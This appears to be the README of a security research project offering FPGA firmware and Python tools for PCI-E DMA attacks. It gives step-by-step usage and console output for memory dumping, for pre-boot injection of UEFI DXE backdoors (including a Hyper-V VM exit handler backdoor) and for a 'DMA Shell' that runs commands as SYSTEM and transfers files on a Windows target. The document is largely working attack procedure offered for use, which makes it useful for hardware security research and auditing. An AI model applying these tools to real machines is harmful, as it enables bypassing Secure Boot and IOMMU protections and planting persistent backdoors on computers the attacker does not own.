This repository contains a set of tools and proof of concepts related to PCI-E bus and DMA attacks. It includes HDL design that implements software controllable PCI-E gen 1.1 endpoint device for Xilinx SP605 Evaluation Kit with Spartan-6 FPGA. In comparison with popular USB3380EVB this design allows to operate with raw Transaction Level Packets (TLP) of PCI-E bus and perform full 64-bit memory read/write operations. To demonstrate applied use cases of the design, there's a tool for pre-boot DMA attacks on UEFI based machines which allows to execute arbitrary UEFI DXE drivers during platform init.
There's a program that shows how to use pre-boot DMA attacks to inject Hyper-V VM exit handler backdoor into the virtualization-based security enabled Windows 10 Enterprise running on UEFI Secure Boot enabled platform. Provided Hyper-V Backdoor PoC might be useful for reverse engineering and exploit development purposes, it provides an interface for inspecting of hypervisor state (VMCS, physical/virtual memory, registers, etc.) from the guest partition and perform guest to host VM escape attacks.
Another program shows how to use pre-boot DMA attacks to inject arbitrary user mode or kernel mode code into the Windows operating system by hijacking of its boot process using Boot Backdoor. This program is also can work with DMA Shell − it's Boot Backdoor payload that allows to execute console commands over the rogue PCI-E device, transfer files and load 3-rd party executables into the target operating system at the runtime.
Hyper-V Backdoor part of this project has many other features and deployment options than described in this document, you can use it separately from DMA attack tools even without any special hardware: check its documentation
Boot Backdoor part of this project has many other features and deployment options than described in this document, you can use it separately from DMA attack tools even without any special hardware: check its documentation
Python tools and payloads from this project, including Hyper-V Backdoor and Boot Backdoor, also can be used with Xilinx Zynq-7000 SoC based boards. There's a separate project of DMA attacks design for Xilinx ZC706 evaluation kit.
s6_pcie_microblaze.xise − Xilinx ISE project file.
microblaze/pcores/axis_pcie_v1_00_a/ − Custom peripheral module that allows connecting of PCI Express integrated endpoint block of Spartan-6 FPGA as raw TLP stream to MicroBlaze soft processor core.
sdk/srec_bootloader_0/ − Simple bootloader for MicroBlaze soft processor, it using SREC image format and onboard linear flash memory of SP605 to load and store main MicroBlaze program.
sdk/main_0/ − Main program for MicroBlaze soft processor, it forwards raw TLP packets of PCI-E bus into the TCP connection using onboard Ethernet port of SP605 and lwIP network stack.
python/pcie_lib.py − Python library to interact over the network with main MicroBlaze program running on SP605 board, it implements various low level and high level abstractions to work with TLP level of PCI-E from the Python code.
python/pcie_mem.py − Command line program that dumps host RAM into the screen or output file by sending MRd TLPs.
python/pcie_mem_scan.py − Command line program that scans target host for physical memory ranges accessible over PCI-E bus, it's useful for a security audit of IOMMU enabled platforms (examples: 1, 2, 3, 4).
python/uefi_backdoor_simple.py − Command line program for pre-boot DMA attack that injects dummy UEFI driver into the target machine boot sequence.
python/uefi_backdoor_hv.py − Command line program for pre-boot DMA attack that injects Hyper-V VM exit handler backdoor into the target system boot sequence.
python/uefi_backdoor_boot.py − Command line program for pre-boot DMA attack that injects Boot Backdoor into the target system boot sequence.
python/payloads/DmaBackdoorSimple/ − Source code of dummy UEFI DXE driver to use with
python/payloads/DmaBackdoorHv/ − Source code of UEFI DXE driver to use with
uefi_backdoor_hv.py, it implements Hyper-V Backdoor functionality.
python/payloads/DmaBackdoorBoot/ − Source code of UEFI DXE driver to use with
uefi_backdoor_boot.py, it implements Boot Backdoor functionality.
Xilinx UG526 document also known as SP605 Hardware User Guide is your best friend if you want to know more details about usage and configuration of this nice board.
To load bitstream from onboard SPI flash chip you need to configure SP605 by turning
SW1 switches into the 1-ON, 2-OFF position.
Now you have to write FPGA bitstream into the SPI flash. Use
s6_pcie_microblaze.mcs file if you want to do this over JTAG with the help of Xilinx iMPACT utility (see this tutorial), or
s6_pcie_microblaze.bin if you want to use external SPI flash programmer connected to
J17 header of SP605 (which is the fastest and more convenient way).
In case of flashrom compatible SPI flash programmer you can use
flash_to_spi.py program as a flashrom wrapper:
$ ./flash_to_spi.py linux_spi:dev=/dev/spidev1.0 s6_pcie_microblaze.bin Using region: "main". Calibrating delay loop... OK. Found Winbond flash chip "W25Q64.V" (8192 kB, SPI) on linux_spi. Reading old flash chip contents... done. Erasing and writing flash chip... Warning: Chip content is identical to the requested image. Erase/write done.
To boot MicroBlaze into the update mode you have to disconnect SPI flash programmer and power the board holding
SW4 pushbutton switch, release
DS6 LED indicating active update mode turns on.
$ easy_install pyserial $ ./python/bootloader_ctl.py /dev/ttyUSB0 --flash sdk/main_0/Debug/main_0.srec [+] Opening device "/dev/ttyUSB0"... [+] Flasing 339852 bytes from "sdk/main_0/Debug/main_0.srec"... Erasing flash... Writing 0x100 bytes at 0x00100000 Writing 0x100 bytes at 0x00100100 ... Writing 0x100 bytes at 0x00152e00 Writing 0x8c bytes at 0x00152f00 [+] DONE
$ ./python/bootloader_ctl.py /dev/ttyUSB0 --config 192.168.2.247:255.255.255.0:192.168.2.1:28472 [+] Opening device "/dev/ttyUSB0"... [+] Updating board settings... Address: 192.168.2.247 Netmask: 255.255.255.0 Gateway: 192.168.2.1 Port: 28472 Erasing flash... Writing 0x12 bytes at 0x00000000 [+] DONE
$ ./python/bootloader_ctl.py /dev/ttyUSB0 --boot [+] Opening device "/dev/ttyUSB0"... [+] Exitting from update mode... SREC Bootloader Loading SREC image from flash at address: 42000000 Executing program starting at address: 00000000 Loading settings from flash... [+] Address: 192.168.2.247 [+] Netmask: 255.255.255.0 [+] Gateway: 192.168.2.1 auto-negotiated link speed: 100 start_application(): TCP server is started at port 28472
Main program prints its error messages into the onboard UART, you can use
--console option of
bootloader_ctl.py to monitor this messages in real time.
Connect SP605 to the PCI-E slot of the target computer and turn the computer on. When PCI-E link was successfully established you will see
DS4 LEDs on.
lspci command on target computer to ensure that its operating system is seeing your board as appropriate PCI-E device:
# lspci | grep Xilinx 01:00.0 Ethernet controller: Xilinx Corporation Default PCIe endpoint ID
JTAG related notes: SP605 has onboard USB to JTAG interface compatible with iMPACT and others Xilinx tools. However, it's not very good so if you're planning to use onboard JTAG to program SPI flash like it was described in Xilinx tutorial you have to do the following things:
Remove any hardware connected to the FMC slot of SP605 while working with JTAG.
In Xilinx iMPACT settings configure JTAG interface to use 750 KHz speed (on more higher speed it works unstable).
Xilinx SP605 board is also can be connected to the Thunderbolt 2/3 external port of the target computer using Thunderbolt to PCI-E expansion chassis. Please note, that SP605 is relatively large board so it might not fit into some of the chassis. For example, I'm using HighPoint RocketStor 6361A Thunderbolt 2 enclosure which works fine with my MacBook Pro.
Python tools to interact with the board and tiny implementation of PCI-E transaction layer are located in
python folder. Because main MicroBlaze program uses TCP connection to transfer TLP packets no any drivers or 3rd party dependencies needed, you can use provided Python code on any operating system.
To set up target board IP address and port edit
PCIE_TO_TCP_ADDR variable in
Information about PCI-E device implemented by provided FPGA bitstream (just like it seeing by target computer):
$ lspci -vvs 01:00.0 01:00.0 Ethernet controller: Xilinx Corporation Default PCIe endpoint ID Subsystem: Xilinx Corporation Default PCIe endpoint ID Control: I/O- Mem- BusMaster- SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx- Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx- Interrupt: pin A routed to IRQ 11 Region 0: Memory at f7d00000 (32-bit, non-prefetchable) [disabled] [size=1M] Capabilities:  Power Management version 3 Flags: PMEClk- DSI- D1+ D2+ AuxCurrent=0mA PME(D0+,D1+,D2+,D3hot+,D3cold-) Status: D0 NoSoftRst+ PME-Enable- DSel=0 DScale=0 PME- Capabilities:  MSI: Enable- Count=1/1 Maskable- 64bit+ Address: 0000000000000000 Data: 0000 Capabilities:  Express (v1) Endpoint, MSI 00 DevCap: MaxPayload 512 bytes, PhantFunc 0, Latency L0s unlimited, L1 unlimited ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset- DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported- RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop+ MaxPayload 128 bytes, MaxReadReq 512 bytes DevSta: CorrErr+ UncorrErr- FatalErr+ UnsuppReq- AuxPwr- TransPend- LnkCap: Port #0, Speed 2.5GT/s, Width x1, ASPM L0s, Latency L0 unlimited, L1 unlimited ClockPM- Surprise- LLActRep- BwNot- LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- Retrain- CommClk- ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt- LnkSta: Speed 2.5GT/s, Width x1, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt- Capabilities: [100 v1] Device Serial Number 00-00-00-01-01-00-0a-35
Example of PCI-E device as it shown in Apple macOS hardware information when connected to the Thunderbolt 2 port of MacBook Pro:
On the attacker side you can use
pcie_cfg.py program to view configuration space registers of PCI-E device:
$ ./pcie_cfg.py [+] PCI-E link with target is up [+] Device address is 03:00.0 VENDOR_ID = 0x10ee DEVICE_ID = 0x1337 COMMAND = 0x0 STATUS = 0x10 REVISION = 0x0 CLASS_PROG = 0x0 CLASS_DEVICE = 0x200 CACHE_LINE_SIZE = 0x10 LATENCY_TIMER = 0x0 HEADER_TYPE = 0x0 BIST = 0x0 BASE_ADDRESS_0 = 0x90500000 BASE_ADDRESS_1 = 0x0 BASE_ADDRESS_2 = 0x0 BASE_ADDRESS_3 = 0x0 BASE_ADDRESS_4 = 0x0 BASE_ADDRESS_5 = 0x0 CARDBUS_CIS = 0x0 SUBSYSTEM_VENDOR_ID = 0x10ee SUBSYSTEM_ID = 0x7 ROM_ADDRESS = 0x0 INTERRUPT_LINE = 0xff INTERRUPT_PIN = 0x1 MIN_GNT = 0x0 MAX_LAT = 0x0
$ ./pcie_cfg.py -x [+] PCI-E link with target is up [+] Device address is 03:00.0 0000: 0x10ee 0x1337 0004: 0x0000 0x0010 0008: 0x0000 0x0200 000c: 0x0010 0x0000 0010: 0x0000 0x9050 0014: 0x0000 0x0000 0018: 0x0000 0x0000 001c: 0x0000 0x0000 0020: 0x0000 0x0000 0024: 0x0000 0x0000 0028: 0x0000 0x0000 002c: 0x10ee 0x0007 0030: 0x0000 0x0000 0034: 0x0040 0x0000 0038: 0x0000 0x0000 003c: 0x01ff 0x0000 ...
Here's an example of dumping 0x80 bytes of target computer physical memory starting from zero address using
$ DEBUG_TLP=1 ./pcie_mem.py 0x0 0x80 TLP TX: size = 0x04, source = 01:00.0, type = MRd64 tag = 0x00, bytes = 0x84, addr = 0x00000000 0x20000021 0x010000ff 0x00000000 0x00000000 TLP RX: size = 0x23, source = 00:00.0, type = CplD tag = 0x00, bytes = 132, req = 01:00.0, comp = 00:00.0 0x4a000020 0x00000084 0x01000000 0xf3ee00f0 0xf3ee00f0 0xc3e200f0 0xf3ee00f0 0xf3ee00f0 0x54ff00f0 0x053100f0 0xfe3000f0 0xa5fe00f0 0xe40400e8 0xf3ee00f0 0xf3ee00f0 0xf3ee00f0 0xf3ee00f0 0x57ef00f0 0x53ff00f0 0x140000c0 0x4df800f0 0x41f800f0 0x59ec00f0 0x39e700f0 0xd40600e8 0x2ee800f0 0xd2ef00f0 0x00e000f0 0xf2e600f0 0x6efe00f0 0x53ff00f0 0x53ff00f0 0xa4f000f0 0xc7ef00f0 0xb19900c0 TLP RX: size = 0x04, source = 00:00.0, type = CplD tag = 0x00, bytes = 4, req = 01:00.0, comp = 00:00.0 0x4a000001 0x00000004 0x01000000 0xf3ee00f0 00000000: f3 ee 00 f0 f3 ee 00 f0 c3 e2 00 f0 f3 ee 00 f0 | ................ 00000010: f3 ee 00 f0 54 ff 00 f0 05 31 00 f0 fe 30 00 f0 | ....T....1...0.. 00000020: a5 fe 00 f0 e4 04 00 e8 f3 ee 00 f0 f3 ee 00 f0 | ................ 00000030: f3 ee 00 f0 f3 ee 00 f0 57 ef 00 f0 53 ff 00 f0 | ........W...S... 00000040: 14 00 00 c0 4d f8 00 f0 41 f8 00 f0 59 ec 00 f0 | ....M...A...Y... 00000050: 39 e7 00 f0 d4 06 00 e8 2e e8 00 f0 d2 ef 00 f0 | 9............... 00000060: 00 e0 00 f0 f2 e6 00 f0 6e fe 00 f0 53 ff 00 f0 | ........n...S... 00000070: 53 ff 00 f0 a4 f0 00 f0 c7 ef 00 f0 b1 99 00 c0 | S...............
Example of saving physical memory into the file:
./pcie_mem.py 0x14000000 0x8000 dumped.bin [+] PCI-E link with target is up [+] Device address is 01:00.0 [+] Reading 0x14000000 [+] Reading 0x14001000 [+] Reading 0x14002000 [+] Reading 0x14003000 [+] Reading 0x14004000 [+] Reading 0x14005000 [+] Reading 0x14006000 [+] Reading 0x14007000 [+] Reading 0x14008000 32768 bytes written into the dumped.bin
Provided Python software uses some environment variables to override default values of certain options:
DEBUG_TLP − If set to
1 print TX and RX TLP packets dump into the standard output.
<address>:<port> string to override IP address of the board specified in
pcie_lib.py provides low level API to send and receive PCE-E TLP packets along with abstractions for different TLP types and high level physical memory access API.
The following program demonstrates how to work with raw TLPs using
from pcie_lib import * # # Open PCI-E device, optional addr parameter overrides value specified in pcie_lib_config.py # file or TARGET_ADDR environment variable # dev = TransactionLayer(addr = ( '192.168.2.247', 28472 )) # get bus:device.function address of our PCI-E endpoint bus_id = dev.get_bus_id() # # MRd TLP request which reads 1 dword of memory at address 0x1000 # tlp_tx = [ 0x20000001, # TLP type and data size 0x000000ff | (bus_id << 16), # requester ID 0x00000000, # high dword of physical memory address 0x00001000 ] # low dword of physical memory address # send TLP dev.write(tlp_tx) # receive root complex reply tlp_rx = dev.read(raw = True) # prints 4a000001 00000004 01000000 00000000 print('%.8x %.8x %.8x %.8x' % tuple(tlp_rx)) # check for CplD TLP format and type assert (tlp_rx >> 24) & 0xff == 0x4a # print readed dword print('%.8x' % tlp_rx) dev.close()
Working with TLPs using more convenient high level abstractions:
# MRd TLP request which reads 1 dword of memory at address 0x1000 tlp_tx = dev.PacketMRd64(dev.bus_id, 0x1000, 4) # send TLP dev.write(tlp_tx) # receive root complex reply tlp_rx = dev.read() # check for CplD TLP assert isinstance(tlp_rx, dev.PacketCplD) # print readed dword print('%.8x' % tlp_rx.data)
Accessing physical memory with high level API:
# write bytes to memory dev.mem_write(0x1000, '\xAA' * 0x10) # write single qword/dword/word/byte to memory dev.mem_write_8(0x1000, 0) dev.mem_write_4(0x1000, 0) dev.mem_write_2(0x1000, 0) dev.mem_write_1(0x1000, 0) # read bytes from memory print(repr(dev.mem_read(0x1000, 0x10))) # read single qword/dword/word/byte from memory print('%.16x' % dev.mem_read_8(0x1000)) print('%.8x' % dev.mem_read_4(0x1000)) print('%.4x' % dev.mem_read_2(0x1000)) print('%.2x' % dev.mem_read_1(0x1000))
One of the main goals of this project is providing flexible and convenient set of tools to perform so called pre-boot DMA attacks, in comparison with regular DMA attacks they are targeting pre-boot environment of UEFI DXE phase of the platform initialization rather than operating system itself. Such attacks allows to run malicious code at relatively early stages when IOMMU and other security features of the operating system are not initialized yet.
Pre-boot DMA attacks allows to bypass various security features of the platform firmware like UEFI secure boot or Intel Boot Guard.
uefi_backdoor_simple.py injects dummy UEFI DXE driver located in
payloads/DmaBackdoorSimple folder into the target system boot sequence using pre-boot DMA attack described above. To use this program you have to perform the following steps:
Power off the target computer.
Connect SP605 board to the PCI-E (or Mini PCI-E, or M.2) port of the target computer.
Turn the borad on and ensure that Microblaze firmware was successfully initialized by pinging an IP address that was specified during the board configuration with
Run the following command to start pre-boot DMA attack:
$ ./uefi_backdoor_simple.py --driver payloads/DmaBackdoorSimple/DmaBackdoorSimple_X64.efi
An example of
uefi_backdoor_simple.py console output after the successful attack:
$ ./uefi_backdoor_simple.py --driver payloads/DmaBackdoorSimple/DmaBackdoorSimple_X64.efi [+] Using UEFI system table hook injection method [+] Reading DXE phase payload from payloads/DmaBackdoorSimple/DmaBackdoorSimple_X64.efi [!] Bad MRd TLP completion received [!] Bad MRd TLP completion received [!] Bad MRd TLP completion received [+] PCI-E link with target is up [+] TSEG is somewhere around 0xd7000000 [+] PE image is at 0xd6260000 [+] EFI_SYSTEM_TABLE is at 0xd61eaf18 [+] EFI_BOOT_SERVICES is at 0xd680aa00 [+] EFI_BOOT_SERVICES.LocateProtocol() address is 0xd67e2c18 Backdoor image size is 0x1240 Backdoor entry RVA is 0x31c Planting DXE stage driver at 0x10000... Hooking LocateProtocol(): 0xd67e2c18 -> 0x0001031c 0.780202 sec. [+] DXE driver was planted, waiting for backdoor init... [+] DXE driver was executed [+] DONE
This dummy UEFI DXE driver along with
uefi_backdoor_simple.py program can be used as skeleton project to implement various attacks like injecting of malicious code into the operating system bootloader, kernel or hypervisor.
There's also another Python program −
uefi_backdoor_hv.py, it injects Hyper-V VM exit handler backdoor located in
payloads/DmaBackdoorHv folder into the target system boot sequence exactly in the same way as previous dummy UEFI DXE driver. Here's an example of its usage:
$ ./uefi_backdoor_hv.py --driver payloads/DmaBackdoorHv/DmaBackdoorHv_X64.efi [+] Using UEFI system table hook injection method [+] Reading DXE phase payload from payloads/DmaBackdoorHv/DmaBackdoorHv_X64.efi [+] Waiting for PCI-E link... [!] PCI-E endpoint is not configured by root complex yet [!] PCI-E endpoint is not configured by root complex yet [!] PCI-E endpoint is not configured by root complex yet [!] Bad MRd TLP completion received [+] PCI-E link with target is up [+] Looking for DXE driver PE image... [+] PE image is at 0x77160000 [+] EFI_SYSTEM_TABLE is at 0x7a03e018 [+] EFI_BOOT_SERVICES is at 0x7a38fa30 [+] EFI_BOOT_SERVICES.LocateProtocol() address is 0x7a3987b4 Backdoor image size is 0x2c20 Backdoor entry RVA is 0xbd4 Planting DXE stage driver at 0xc0000... Hooking LocateProtocol(): 0x7a3987b4 -> 0x000c0bd4 3.611646 sec. [+] DXE driver was planted, waiting for backdoor init... [+] DXE driver was executed, you can read its debug messages by running this program with --debug-output option [+] Waiting for Hyper-V load... [+] Hyper-V image was loaded Hyper-V image base: 0xfffff8072d690000 Image entry: 0xfffff8072d901360 VM exit handler: 0xfffff8072d8add90 [+] DONE
UEFI DXE driver of Hyper-V Backdoor is also printing its debug messages on the screen. In addition, you can use
--debug-output option of
uefi_backdoor_hv.py to read this debug messages from the target system physical memory and print them into the stdout:
$ ./uefi_backdoor_hv.py --debug-output [+] PCI-E link with target is up [+] Debug output buffer address is 0x79db3000 DmaBackdoorHv.c(1018) : ****************************** DmaBackdoorHv.c(1019) : DmaBackdoorHv.c(1020) : Hyper-V backdoor loaded! DmaBackdoorHv.c(1021) : DmaBackdoorHv.c(1022) : ****************************** DmaBackdoorHv.c(1055) : Image address is 0xc0000 DmaBackdoorHv.c(275) : BackdoorImageRealocate(): image size = 0x3260 DmaBackdoorHv.c(1065) : Resident code base address is 0x79daf000 DmaBackdoorHv.c(794) : Protocol notify handler is at 0x79daf364 DmaBackdoorHv.c(819) : BackdoorEntryResident() DmaBackdoorHv.c(830) : OpenProtocol() hook was set, handler = 0x79db1477 DmaBackdoorHv.c(835) : ExitBootServices() hook was set, handler = 0x79db1487 DmaBackdoorHv.c(447) : winload.dll is at 0x8ee000 DmaBackdoorHv.c(448) : winload!BlLdrLoadImage() is at 0x984a10 DmaBackdoorHv.c(477) : 535 free bytes found at the end of the code section at 0xa4ade9 DmaBackdoorHv.c(527) : winload!BlLdrLoadImage() hook was set, handler is at 0x79daf50c DmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = "\WINDOWS\system32\mcupdate_GenuineIntel.dll" DmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = "\WINDOWS\system32\hvix64.exe" HyperV.c(369) : HyperVHook(): Hyper-V image is at 0xfffff80144e0d000 HyperV.c(388) : HyperVHook(): Resources section RVA is 0x1400000 (0x200000 bytes) HyperV.c(425) : HyperVHook(): Code section RVA is 0x200000 HyperV.c(604) : HyperVHook(): Hyper-V VM exit handler is at 0xfffff8014502ad90 HyperV.c(605) : HyperVHook(): Backdoor code size is 684 bytes DmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = "\WINDOWS\system32\kdstub.dll" DmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = "\WINDOWS\system32\hv.exe" DmaBackdoorHv.c(560) : new_ExitBootServices() called
To get more information about Hyper-V Backdoor use cases and features check its README file with detailed information.
uefi_backdoor_boot_shell.py are used to inject Boot Backdoor into the target system boot sequence. Boot Backdoor allows to run arbitrary user mode or kernel mode code under the Windows operating system and its payload called DMA Shell allows to execute console commands and transfer the files. To deploy Boot Backdoor with DMA Shell using pre-boot DMA attack you have to perform the same steps as described above but using
$ ./uefi_backdoor_boot_shell.py --command "whoami" [+] 44544 bytes of payload image read [+] 21299 bytes of payload image after the compression [+] Using UEFI system table hook injection method [+] Waiting for PCI-E link... [!] PCI-E endpoint is not configured by root complex yet [!] PCI-E endpoint is not configured by root complex yet [!] PCI-E endpoint is not configured by root complex yet [!] Bad MRd TLP completion received [!] Bad MRd TLP completion received [+] PCI-E link with target is up [+] Device address is 01:00.0 [+] Looking for DXE driver PE image... [+] PE image is at 0x7a070000 [+] EFI_SYSTEM_TABLE is at 0x7a03e018 [+] EFI_BOOT_SERVICES is at 0x7a38fa30 [+] EFI_BOOT_SERVICES.LocateProtocol() address is 0x7a3987b4 Backdoor image size is 0x14847 Backdoor entry RVA is 0x908 Planting DXE stage driver at 0xc0000... Hooking LocateProtocol(): 0x7a3987b4 -> 0x000c0908 1.759079 sec. [+] DXE driver was planted, waiting for backdoor init... [+] DXE driver was executed, you can read its debug messages by running this program with --debug-output option [+] Waiting for backdoor load... [+] Winload image was loaded Image base: 0x0086a000 OslArchTransferToKernel: 0x009c4b20 [+] DONE [+] Waiting for payload init... [+] Payload shared memory region is at 0x00200000 [+] Executing command: whoami [+] Process exit code: 0x00000000 nt authority\system
Now, when Boot Backdoor with its payload was sucessfully loaded, you can run
--attach option to communicate with currently running instance of DMA Shell:
$ ./uefi_backdoor_boot_shell.py --attach --command "dir C:\\" [+] PCI-E link with target is up [+] Device address is 01:00.0 [+] Payload shared memory region is at 0x00200000 [+] Executing command: hostname [+] Process exit code: 0x00000000 DESKTOP-E52IJJ8
Also, you can use
--debug-output option to get debug messages of Boot Backdoor UEFI DXE driver and print them into the stdout:
$ ./uefi_backdoor_boot_shell.py --debug-output [+] PCI-E link with target is up [+] Debug output buffer address is 0x79da2000 DmaBackdoorBoot.c(630) : ****************************** DmaBackdoorBoot.c(631) : DmaBackdoorBoot.c(632) : Boot backdoor loaded! DmaBackdoorBoot.c(633) : DmaBackdoorBoot.c(634) : ****************************** DmaBackdoorBoot.c(668) : Image address is 0xc0000 DmaBackdoorBoot.c(711) : Payload is not present DmaBackdoorBoot.c(276) : BackdoorImageRealocate(): image size = 0xf500 DmaBackdoorBoot.c(722) : Resident code base address is 0x79d8c000 DmaBackdoorBoot.c(430) : Protocol notify handler is at 0x79d8c364 DmaBackdoorBoot.c(455) : BackdoorEntryResident() DmaBackdoorBoot.c(464) : ExitBootServices() hook was set, handler = 0x79d8ded7 DmaBackdoorBoot.c(358) : new_ExitBootServices() called Winload.c(419) : WinloadHook(): winload image is at 0x86a000 Winload.c(507) : winload!HvlpBelow1MbPage is at 0xa037c8 Winload.c(508) : winload!HvlpBelow1MbPageAllocated is at 0xa037b9 Winload.c(587) : winload!OslArchTransferToKernel() is at 0x9c4b20
To get more information about Boot Backdoor use cases and features check its README file with detailed information.
uefi_backdoor_boot_shell.py supports two different ways to pass execution to the injected UEFI DXE driver image:
EFI_SYSTEM_TABLE hijack − scan system memory down from physical address
0x10000 bytes step in order to find EFI system table by its signature and patch
LocateProtocol() function address. To override memory scan options you can use
SCAN_STEP environment variables.
PROTOCOL_ENTRY hijack − scan system memory up from physical address
0x1000 bytes step to find
EFI_CPU_IO2_PROTOCOL structure of CPU I/O 2 protocol and patch one of its functions. To override memory scan options you can use
SCAN_STEP environment variables.
By default all four programs are using EFI system table hijack method, to use protocol entry method instead you can pass
--inj-prot command line option to the appropriate program. To reduce amount of time required to perform the attack you can specify previously found
EFI_SYSTEM_TABLE structure address using
--system-table option and
PROTOCOL_ENTRY structure address using
--prot-entry option. Also, all four Python programs has
--test command line option, this option is used to do the memory scan and find required structures addresses without performing an actual hijack of the execution flow. So, during the first boot you can run desired program with
--test option to find needed address and during the second boot you can run the same program with
--prot-entry option to specify that address.
During development of malicious code for pre-boot DMA attacks it's important to have an information about execution environment of UEFI DXE phase. To collect such information you can turn the target computer on, enter into the BIOS setup menu or boot options menu to pause loading of the operating system and run
uefi.py program without arguments. This program will scan physical memory of the target computer and print various information about existing UEFI DXE protocols and interfaces, loaded UEFI drivers, UEFI descriptor tables and ACPI tables. Here you can see an example of information obtained by
uefi.py program while using AAEON UP Squared mini-PC as attack target.
Provided bitstream can emulate PCI-E option ROM stored in onboard linear flash memory of SP605. Although modern platforms mitigates option ROM attacks, this feature still could be useful for security audit or prototyping purposes.
You can manage option ROM images using
pcie_rom_ctl.py Python program.
Erasing option ROM contents:
$ ./pcie_rom_ctl.py --erase [+] Opening PCI-E device... [+] Enabling resident mode... [+] Erasing option ROM... [+] Done
Loading provided UEFI option ROM example into the board:
$ ./pcie_rom_ctl.py --load payloads/DmaBackdoorSimple/DmaBackdoorSimple_X64_10ee_1337.rom [+] Opening PCI-E device... [+] Enabling resident mode... [+] Erasing option ROM... [+] Loading 5120 bytes of option ROM... [+] Done
Also, there's an option to log option ROM memory access into the debug UART of SP605 board, to enable or disable this option use
--log-off parameters of
To verify correct operation of the option ROM support under the Linux you can do the following.
First, find bus-device-function address of SP605 PCI-E device:
# lspci | grep Xilinx 01:00.0 Ethernet controller: Xilinx Corporation Device 1337
Then, set enabled bit of the command register so target system will pass to the PCI-E device all of the memory access attempts to the option ROM physical memory rages:
# echo 1 > /sys/bus/pci/devices/0000\:01\:00.0/enable # echo 1 > /sys/bus/pci/devices/0000\:01\:00.0/rom
Now you can dump contents of the previously loaded option ROM with the help of
dd command and appropriate pseudo-file of sysfs:
# dd if=/sys/bus/pci/devices/0000\:01\:00.0/rom | hexdump -Cv 00000000 55 aa 0b 00 f1 0e 00 00 0b 00 64 86 00 00 00 00 |U.........d.....| 00000010 00 00 00 00 00 00 60 00 1c 00 00 00 50 43 49 52 |......`.....PCIR| 00000020 ee 10 37 13 00 00 1c 00 03 00 00 00 0b 00 00 00 |..7.............| 00000030 03 80 00 00 00 00 00 00 ff ff ff ff ff ff ff ff |................| 00000040 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................| 00000050 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................| 00000060 4d 5a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |MZ..............| 00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000090 00 00 00 00 00 00 00 00 00 00 00 00 b8 00 00 00 |................| 000000a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000000b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000000c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| ...
In case when
--log-on option of
pcie_rom_ctl.py program was specified during the configuration you will see the following messages in the debug UART console of SP605 board while dumping the option ROM:
ROM read: size = 2, offset = 0x0 ROM read: size = 2, offset = 0x18 ROM read: size = 4, offset = 0x1C ROM read: size = 1, offset = 0x31 ROM read: size = 2, offset = 0x2C ROM read: size = 1, offset = 0x0 ROM read: size = 2, offset = 0x0 ROM read: size = 2, offset = 0x18 ROM read: size = 4, offset = 0x1C ROM read: size = 1, offset = 0x31 ROM read: size = 2, offset = 0x2C ROM read: size = 1, offset = 0x1 ROM read: size = 2, offset = 0x0 ROM read: size = 2, offset = 0x18 ROM read: size = 4, offset = 0x1C ROM read: size = 1, offset = 0x31 ROM read: size = 2, offset = 0x2C ...
PCI Express is very complicated high speed bus so there's a lot of things that can go wrong. In case when DMA attack is not working on your setup you can check the following things to determine an exact problem:
DS3 LED is on when physical PCI-E link is up and
DS4 is on when root complex had assigned bus-device-function address to our PCI-E endpoint. If
DS3 is off it likely means physical connectivity issue − check your risers, cables, etc. If
DS3 is on but
DS4 is off it means that you had to reboot your attack target or force PCI-E devices rescan on its side.
DS5 LED is on during PCI-E bus reset, when it always on it means physical connectivity issue.
If root complex sends Cpl TLP instead of CplD TLP in reply to memory read request it means that memory access was rejected because of invalid address or IOMMU enforced access checks. Also, typical x86 machine might not reply at all on memory read requests to certain MMIO regions of physical address space.
If software is receiving inconsistent or invalid TLPs from the root complex in reply to the memory read requests you might try to set a smaller value of
MEM_RD_TLP_LEN constant in
pcie_lib.py to split reply data into more smaller chunks. Also it's useful to run the program with
DEBUG_TLP=1 environment variable and check raw TX/RX TLPs dump.
Install Xilinx ISE 13.4 which comes with your SP605 board and open
s6_pcie_microblaze.xise project file.
fifo_generator_v8_4 cores which presents in project hierarchy.
microblaze_i instance in project hierarchy and run "Export Hardware Design to SDK With Bitstream".
When build will be completed ISE opens Xilinx Software Development Kit IDE, use
sdk folder as it's workspace.
Create new standalone board support package in your Xilinx SDK project tree, choose lwIP and xilflash libraries in BSP configuration.
sdk/main_0 projects into the project tree and run the build.
make bitstream && make srec from Xilinx ISE command prompt to generate needed output files.
Dmytro Oleksiuk (aka Cr4sh)